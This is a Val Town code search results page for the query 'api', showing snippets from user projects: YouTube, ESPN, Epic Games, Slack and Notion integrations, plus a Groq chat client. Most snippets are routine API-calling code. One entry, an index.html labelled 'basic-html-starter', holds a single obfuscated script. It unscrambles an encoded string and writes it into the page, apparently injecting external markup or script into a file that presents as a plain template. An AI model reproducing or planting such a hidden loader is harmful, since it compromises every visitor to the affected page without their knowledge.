Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run//%22$%7BviewSourceLink%7D/%22?q=api&page=2&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=api

Returns an array of strings in format "username" or "username/projectName"

Found 25401 results for "api"(1012ms)

TopTenVideosapp.js10 matches

@pmapowerUpdated 5 hours ago
19
20 async handleTestKey() {
21 const testKeyInput = document.getElementById('test-api-key');
22 const testKeyBtn = document.getElementById('test-key-btn');
23 const resultDiv = document.getElementById('key-test-result');
24 const apiKey = testKeyInput.value.trim();
25
26 if (!apiKey) {
27 this.showKeyTestResult('Please enter an API key to test', 'error');
28 return;
29 }
32 testKeyBtn.textContent = 'Testing...';
33 resultDiv.className = 'mt-3 p-3 bg-gray-100 rounded text-sm';
34 resultDiv.innerHTML = '🔄 Testing API key...';
35 resultDiv.classList.remove('hidden');
36
37 try {
38 const response = await fetch('/api/test-key', {
39 method: 'POST',
40 headers: { 'Content-Type': 'application/json' },
41 body: JSON.stringify({ apiKey })
42 });
43 const data = await response.json();
44
45 if (data.success) {
46 this.showKeyTestResult(`✅ API key is valid! Found ${data.sampleData.videoCount} video(s).`, 'success');
47 } else {
48 this.showKeyTestResult(`❌ API key failed: ${data.error}`, 'error');
49 }
50 } catch (error) {
84
85 try {
86 const response = await fetch(`/api/videos?niche=${encodeURIComponent(niche)}`);
87 const data = await response.json();
88

TopTenVideosindex.ts34 matches

@pmapowerUpdated 5 hours ago
73});
74
75// API key tester endpoint
76app.post("/api/test-key", async (c) => {
77 const body = await c.req.json();
78 const testKey = body.apiKey;
79
80 if (!testKey) {
81 return c.json({ error: "API key is required" }, 400);
82 }
83
84 try {
85 const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${testKey}`;
86 const testResponse = await fetch(testUrl);
87 const responseData = await testResponse.json();
90 return c.json({
91 success: true,
92 message: "API key is valid and working!",
93 sampleData: {
94 videoCount: responseData.items?.length || 0,
111 }
112});
113app.get("/api/debug", async (c) => {
114 const apiKey = Deno.env.get("YOUTUBE_API_KEY");
115
116 if (!apiKey) {
117 return c.json({
118 hasApiKey: false,
119 message: "No API key found in environment variables"
120 });
121 }
122
123 // Test the API key with a simple request
124 try {
125 const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${apiKey}`;
126 const testResponse = await fetch(testUrl);
127 const responseText = await testResponse.text();
128
129 return c.json({
130 hasApiKey: true,
131 keyLength: apiKey.length,
132 keyPrefix: apiKey.substring(0, 8) + "...",
133 testStatus: testResponse.status,
134 testOk: testResponse.ok,
135 testResponse: testResponse.ok ? "API key works!" : responseText.substring(0, 500)
136 });
137 } catch (error) {
138 return c.json({
139 hasApiKey: true,
140 keyLength: apiKey.length,
141 keyPrefix: apiKey.substring(0, 8) + "...",
142 testError: error.message
143 });
145});
146
147// API endpoint to search YouTube videos
148app.get("/api/videos", async (c) => {
149 const niche = c.req.query("niche");
150 const apiKey = Deno.env.get("YOUTUBE_API_KEY");
151
152 if (!niche) {
154 }
155
156 if (!apiKey) {
157 return c.json({ error: "YouTube API key not configured" }, 500);
158 }
159
160 try {
161 // Search for videos
162 const searchUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=${encodeURIComponent(niche)}&type=video&order=relevance&maxResults=10&key=${apiKey}`;
163
164 const searchResponse = await fetch(searchUrl);
165 if (!searchResponse.ok) {
166 const errorText = await searchResponse.text();
167 console.error(`YouTube API error details:`, errorText);
168
169 // Parse error for better user feedback
170 try {
171 const errorData = JSON.parse(errorText);
172 if (errorData.error?.message?.includes("API key not valid")) {
173 return c.json({
174 error: "Invalid YouTube API Key",
175 details: "Your API key is not valid. Please check that:\n1. The API key is correct\n2. YouTube Data API v3 is enabled for your project\n3. The API key has the proper permissions"
176 }, 400);
177 }
178 if (errorData.error?.message?.includes("quota")) {
179 return c.json({
180 error: "YouTube API Quota Exceeded",
181 details: "You've reached your daily quota limit. Try again tomorrow or upgrade your quota."
182 }, 429);
183 }
184 return c.json({
185 error: "YouTube API Error",
186 details: errorData.error?.message || `HTTP ${searchResponse.status}`
187 }, searchResponse.status);
188 } catch {
189 return c.json({
190 error: "YouTube API Error",
191 details: `HTTP ${searchResponse.status}: ${errorText}`
192 }, searchResponse.status);
200
201 // Get video statistics and duration
202 const detailsUrl = `https://www.googleapis.com/youtube/v3/videos?part=statistics,contentDetails&id=${videoIds}&key=${apiKey}`;
203
204 const detailsResponse = await fetch(detailsUrl);

untitled-2035main.ts3 matches

@chatgotUpdated 5 hours ago
51 const [nflResponse, fantasyResponse] = await Promise.all([
52 fetch(
53 "http://site.api.espn.com/apis/site/v3/sports/football/nfl/scoreboard",
54 ),
55 fetch(
56 `https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=mMatchup&view=mMatchupScore&view=mTeam&view=mRoster&view=mLiveScoring&scoringPeriodId=${currentWeek}`,
57 {
58 headers: {
311 // Use kona_player_info view to get ALL players including free agents
312 const allPlayersUrl =
313 `https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=kona_player_info&scoringPeriodId=${week}`;
314
315 const allPlayersResponse = await fetch(allPlayersUrl, {
14
15 const response = await fetch(
16 "https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dandroid%26start%3D0%26store%3DEGS",
17 );
18 const json = await response.json();

epic-games-ios-free-gamesmain.ts1 match

@gmcabritaUpdated 6 hours ago
14
15 const response = await fetch(
16 "https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dios%26start%3D0%26store%3DEGS",
17 );
18 const json = await response.json();

PixelPixelApiMonitormain.ts10 matches

@selfire1Updated 6 hours ago
3 const channel = "C060TG0KLQJ";
4
5 const middlewareApiResponse = await fetch(
6 "https://api.pixelpixel.site/api/v1",
7 );
8 console.log("Middleware API Status:", middlewareApiResponse.status);
9
10 if (!middlewareApiResponse.ok) {
11 const slackResponse = await sendSlackMessage(
12 `https://api.pixelpixel.site/api/v1 returns an error: *${middlewareApiResponse.status}* - *${middlewareApiResponse.statusText}*.
13
14Check the _Droplet Dashboard_.`,
17 }
18
19 const horizonApiResponse = await fetch(
20 "https://preview-horizon-backend.pixelpixel.site/",
21 );
22 console.log("Horizon API Status:", horizonApiResponse.status);
23 if (!horizonApiResponse.ok) {
24 const slackResponse = await sendSlackMessage(
25 `Horizon preview backend appears to be down (${horizonApiResponse.status} - ${horizonApiResponse.statusText}). https://preview-horizon-backend.pixelpixel.site.`,
26 );
27 console.log("Slack status", slackResponse.status);
29
30 async function sendSlackMessage(text: string) {
31 return await fetch("https://slack.com/api/chat.postMessage", {
32 headers: {
33 Authorization: `Bearer ${SLACK_TOKEN}`,

basic-html-starterindex.html1 match

@evermindUpdated 7 hours ago
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
27Updates a Notion page's URL property with a glimpse URL.
28
29**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
30
31**Request Body:**
73```
74
75500 - Notion API error:
76```json
77{
78 "success": false,
79 "error": "Failed to update Notion page with URL",
80 "details": "Notion API error message"
81}
82```
85```bash
86curl -X POST https://your-val.web.val.run/tasks/url \
87 -H "X-API-KEY: your-notion-webhook-secret" \
88 -H "Content-Type: application/json" \
89 -d '{"data": {"id": "your-page-id"}}'
94Assigns agents to demos based on Notion page assignments. Processes the "Assigned" property and creates agent blob assignments.
95
96**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
97
98**Request Body:**
160 "success": false,
161 "error": "Failed to fetch page data",
162 "details": "Notion API error message"
163}
164```
175```bash
176curl -X POST https://your-val.web.val.run/tasks/assign \
177 -H "X-API-KEY: your-notion-webhook-secret" \
178 -H "Content-Type: application/json" \
179 -d '{"data": {"id": "your-page-id"}}'
186**Test webhook receiver** - logs payload and returns success. Not for production use.
187
188**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
189
190**Response:**
197Test endpoint for webhook authentication.
198
199**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
200
201**Success Response (200):**
2
3// Initialize Notion client
4export const notion = new Client({ auth: Deno.env.get("NOTION_API_KEY") });
5
6// Standard response format for all Notion services

chatterchatterApp.js26 matches

@yawnxyzUpdated 11 hours ago
1import { getI18n, getDateRangeText as i18nDateRangeText } from './i18n.js';
2import { getDisplaySourceName, getActualSearchSource, getActualSearchSourceName } from './chatterLib.js';
3import { checkServerKey as apiCheckServerKey, summarizePaper as apiSummarizePaper, postChatStreamSSE, postChatStream, postGroqChat } from './apiClient.js';
4import {
5 initDb,
110 summaryStates: {},
111 hasServerKey: true,
112 userApiKey: '',
113 apiKeyInput: '',
114 // Model selection
115 selectedModel: 'openai/gpt-oss-120b',
279 try { this.jobManager = new JobManager(); } catch (_) { /* ignore */ }
280
281 // Load API key from localStorage
282 const storedApiKey = localStorage.getItem('groq_api_key');
283 if (storedApiKey) {
284 this.userApiKey = storedApiKey;
285 }
286 // Load preferred model
323 try { this.applyThemePreference(); } catch (_) { /* ignore */ }
324
325 // Check if server has API key
326 await this.checkServerKey();
327
812 async checkServerKey() {
813 try {
814 const data = await apiCheckServerKey();
815 this.hasServerKey = !!data.hasServerKey;
816 } catch (error) {
820 },
821
822 setApiKey() {
823 if (this.apiKeyInput.trim()) {
824 this.userApiKey = this.apiKeyInput.trim();
825 localStorage.setItem('groq_api_key', this.userApiKey);
826 this.apiKeyInput = '';
827 }
828 },
829
830 changeApiKey() {
831 this.userApiKey = '';
832 },
833
834 clearApiKey() {
835 this.userApiKey = '';
836 localStorage.removeItem('groq_api_key');
837 },
838
1128 async onImportFileChange(e) { return dataIO.onImportFileChange(this, e); },
1129
1130 get maskedApiKey() {
1131 if (!this.userApiKey) return '';
1132 const key = String(this.userApiKey || '').trim();
1133 if (key.length <= 8) {
1134 // Very short keys: show minimal hint
1243
1244 try {
1245 const data = await apiSummarizePaper({ url, title, language: this.selectedLanguage, userApiKey: this.userApiKey });
1246
1247 if (data.error) {
1429 return sp ? [{ role: 'system', content: sp }, ...chatMessages] : chatMessages;
1430 })(),
1431 userApiKey: this.userApiKey,
1432 model: this.selectedModel,
1433 reasoning_effort: this.reasoningEffort,
1547 const text = (this.chatInput || '').trim(); if (!text) return;
1548 this.errorMessage = '';
1549 if (!this.hasServerKey && !this.userApiKey) { this.errorMessage = 'please add api key'; return; }
1550 if (!this.currentChatId) { try { await coreEnsureChatExistsForEdits(this, { force: true }); } catch (_) {} }
1551 const createdAt = Date.now();
1574 return sp ? [{ role: 'system', content: sp }, ...chatMessages] : chatMessages;
1575 })(),
1576 userApiKey: this.userApiKey,
1577 model: this.selectedModel,
1578 reasoning_effort: this.reasoningEffort,

PixelPixelApiMonitor1 file match

@selfire1Updated 6 hours ago
Regularly polls the API and messages on an error.

weatherApp1 file match

@dcm31Updated 13 hours ago
A simple weather app with dropdown cities using Open-Meteo API
fapian
<("<) <(")> (>")>
Kapil01